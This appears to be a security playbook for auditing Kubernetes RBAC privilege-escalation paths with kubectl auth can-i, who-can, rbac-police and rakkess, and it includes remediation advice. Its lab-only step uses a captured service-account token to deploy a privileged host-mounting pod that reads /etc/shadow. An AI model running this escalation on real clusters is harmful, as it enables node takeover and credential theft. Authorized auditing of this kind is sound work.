Auditing Kubernetes Rbac Privilege Escalation

TL;DR

• 目的：Find over-permissive RBAC roles and service-account token abuse paths in Kubernetes using kubectl auth can-i, rbac-police, kubectl-who-can…
• 适用：云/K8s/容器/配置审计
• 输入：K8s 集群 + kubeconfig 或 service-account token
• 输出：配置审计报告 + 修复建议
• 红线：仅限授权范围内；扫描限速 -c 10 -rl 10；所有动作记 oplog
• 关联：上游：003-src-session-start → 下游：081-performing-kubernetes-etcd-security-assessment, 085-scanning-kubernetes-manifests-with-kubesec

Auditing Kubernetes RBAC Privilege Escalation

Legal Notice: This skill is for authorized security testing and educational purposes only. Enumerating and exercising RBAC permissions affects a live cluster's access posture. Only test clusters you own or are explicitly authorized in writing to assess.

Overview

Kubernetes Role-Based Access Control (RBAC, MITRE ATT&CK T1078 Valid Accounts) governs what every user and service account may do via Role/ClusterRole rules bound by RoleBinding/ClusterRoleBinding. Because workloads run with a mounted service-account token by default, an attacker who compromises one pod inherits that account's RBAC rights. Over-permissive bindings turn a single compromised pod into a cluster takeover: certain verbs and resources are "RBAC-equivalent to cluster-admin."

Per the Kubernetes "RBAC Good Practices" guidance and Unit 42 research, the dangerous primitives are:

• escalate on roles — grant yourself any permission, even ones you do not hold.
• bind on clusterroles — create a binding to cluster-admin.
• impersonate on users/groups/serviceaccounts — act as any subject including system:masters.
• create/update/patch on pods — schedule a privileged pod or mount the node, escaping to the host (T1611).
• create on pods/exec, pods/attach, pods/ephemeralcontainers — run code in any existing pod.
• get/list/watch on secrets — list returns full secret contents, including other service-account tokens.
• create on serviceaccounts/token — mint tokens for more privileged accounts.
• update/patch on validatingwebhookconfigurations/mutatingwebhookconfigurations, nodes/proxy, certificatesigningrequests/approval — admission/CSR abuse to cluster-admin.
• Wildcards (verbs: ["*"], resources: ["*"]) — implicit super-privilege.

This skill systematically enumerates effective permissions for every subject, maps which subjects hold these escalation primitives, and produces remediation evidence. Source: Kubernetes RBAC Good Practices; Unit 42 Kubernetes RBAC research.

When to Use

• During an authorized Kubernetes security assessment or cluster penetration test
• After compromising a pod, to determine what its service-account token can reach
• When reviewing RBAC drift before a production go-live
• When validating least-privilege after a platform migration or Helm rollout

Prerequisites

• kubectl configured against the target cluster (your own credentials, or a captured service-account token)
• Read access to RBAC objects (most audits run with a cluster-reader or admin context)
• Audit tooling:

  # rbac-police - find escalation paths (Cymulate)
  curl -L https://github.com/PaloAltoNetworks/rbac-police/releases/latest/download/rbac-police-linux-amd64 -o rbac-police
  chmod +x rbac-police
  
  # kubectl-who-can - which subjects can perform an action (Aqua)
  kubectl krew install who-can
  
  # rakkess - access matrix of resources x verbs for the current/another subject
  kubectl krew install access-matrix
  
  # rbac-lookup - which roles a subject has (FairwindsOps)
  kubectl krew install rbac-lookup
  

Objectives

• Inventory all Role, ClusterRole, RoleBinding, and ClusterRoleBinding objects
• Enumerate effective permissions per subject using kubectl auth can-i --as
• Identify subjects holding RBAC-equivalent-to-admin primitives
• Trace token-mounting pods to over-privileged service accounts
• Demonstrate (in a lab) one escalation path end-to-end
• Output a prioritized findings report with least-privilege remediation

MITRE ATT&CK Mapping

Workflow

Step 1: Inventory RBAC Objects

# All roles and bindings, cluster-wide
kubectl get clusterroles,clusterrolebindings -o wide
kubectl get roles,rolebindings --all-namespaces -o wide

# Dump full RBAC for offline analysis
kubectl get clusterroles,clusterrolebindings,roles,rolebindings \
  --all-namespaces -o yaml > rbac-dump.yaml

# Who is bound to cluster-admin?
kubectl get clusterrolebindings -o json | \
  jq -r '.items[] | select(.roleRef.name=="cluster-admin") |
         .metadata.name + " -> " + (.subjects // [] | map(.kind+"/"+.name) | join(","))'

Step 2: Enumerate Effective Permissions per Subject

kubectl auth can-i is the authoritative check because it evaluates the live authorizer (RBAC + webhooks). Use --as to impersonate a subject (requires impersonate rights for the audit identity).

# Full access matrix for a service account
kubectl auth can-i --list \
  --as=system:serviceaccount:default:default

# Targeted dangerous-permission probes
kubectl auth can-i create pods --all-namespaces \
  --as=system:serviceaccount:dev:builder
kubectl auth can-i get secrets --all-namespaces \
  --as=system:serviceaccount:dev:builder
kubectl auth can-i create serviceaccounts/token -n kube-system \
  --as=system:serviceaccount:dev:builder
kubectl auth can-i '*' '*' --all-namespaces \
  --as=system:serviceaccount:dev:builder

# rakkess full verb x resource matrix for a subject
kubectl access-matrix --as system:serviceaccount:dev:builder

Step 3: Hunt the Escalation Primitives

# Who can perform each dangerous action across the cluster?
kubectl who-can create pods
kubectl who-can '*' '*'                      # wildcard god-mode holders
kubectl who-can get secrets
kubectl who-can list secrets
kubectl who-can create pods/exec
kubectl who-can impersonate users
kubectl who-can create serviceaccounts/token
kubectl who-can update clusterrolebindings   # bind-style escalation

# grep the raw dump for escalate/bind/impersonate verbs and wildcards
grep -nE 'escalate|impersonate|"\*"|- bind' rbac-dump.yaml

Step 4: Run Automated Escalation-Path Analysis with rbac-police

rbac-police evaluates Rego policies over a cluster snapshot to surface principals that can escalate to cluster-admin and the exact path.

# Run all built-in escalation checks (needs a kubeconfig with read access)
./rbac-police eval ./lib/policies/

# Only the privilege-escalation policy, severe findings as JSON
./rbac-police eval ./lib/policies/can_escalate.rego -f json -o findings.json

# Collect a snapshot first (offline analysis / air-gapped review)
./rbac-police collect -o cluster-snapshot.json
./rbac-police eval ./lib/policies/ --collect-results cluster-snapshot.json

Step 5: Trace Pods to Over-Privileged Service Accounts

A finding only matters if a reachable workload mounts that token.

# Map every pod to its service account
kubectl get pods --all-namespaces \
  -o custom-columns='NS:.metadata.namespace,POD:.metadata.name,SA:.spec.serviceAccountName'

# Find pods that auto-mount tokens (the default) tied to risky SAs
kubectl get pods --all-namespaces -o json | jq -r '
  .items[] | select(.spec.automountServiceAccountToken != false) |
  "\(.metadata.namespace)/\(.metadata.name) -> \(.spec.serviceAccountName // "default")"'

# rbac-lookup: what does that service account actually hold?
kubectl rbac-lookup builder --kind serviceaccount

Step 6: Demonstrate an Escalation Path (Lab Only)

Example: a service account with create pods and access to a node can schedule a privileged pod that mounts the host filesystem.

# Using a captured token, target the API server directly
export TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
export APISERVER=https://kubernetes.default.svc

# Confirm the dangerous right
kubectl --token="$TOKEN" --server="$APISERVER" --insecure-skip-tls-verify \
  auth can-i create pods

# Schedule a privileged host-mounting pod (proves node/host takeover)
cat <<'EOF' | kubectl --token="$TOKEN" --server="$APISERVER" \
  --insecure-skip-tls-verify apply -f -
apiVersion: v1
kind: Pod
metadata: {name: escalate-poc, namespace: default}
spec:
  containers:
  - name: x
    image: alpine
    command: ["/bin/sh","-c","cat /host/etc/shadow; sleep 1d"]
    securityContext: {privileged: true}
    volumeMounts: [{name: host, mountPath: /host}]
  volumes: [{name: host, hostPath: {path: /}}]
EOF
kubectl logs escalate-poc   # host /etc/shadow proves escalation

Step 7: Report and Remediate

# Generate a least-privilege-violation summary
kubectl get clusterrolebindings -o json | jq -r '
  .items[] | select(.roleRef.name=="cluster-admin") |
  "FINDING cluster-admin bound to: " +
  ((.subjects // []) | map(.kind+":"+.name) | join(", "))'

Remediation: replace wildcards with explicit verbs/resources; remove escalate/bind/impersonate unless required; set automountServiceAccountToken: false on workloads that do not call the API; scope Role (namespaced) over ClusterRole where possible; use aggregationRule carefully.

Tools & Systems

Dangerous RBAC Primitives Reference

Validation Criteria

• All Role/ClusterRole/Binding objects inventoried and dumped
• cluster-admin subject list enumerated
• Effective permissions enumerated per service account via auth can-i --list
• All dangerous-primitive holders identified (escalate/bind/impersonate/secrets/pods)
• rbac-police escalation paths reviewed
• Token-mounting pods mapped to risky service accounts
• At least one escalation path demonstrated in a lab
• Findings report with least-privilege remediation produced
• All testing stayed within authorized scope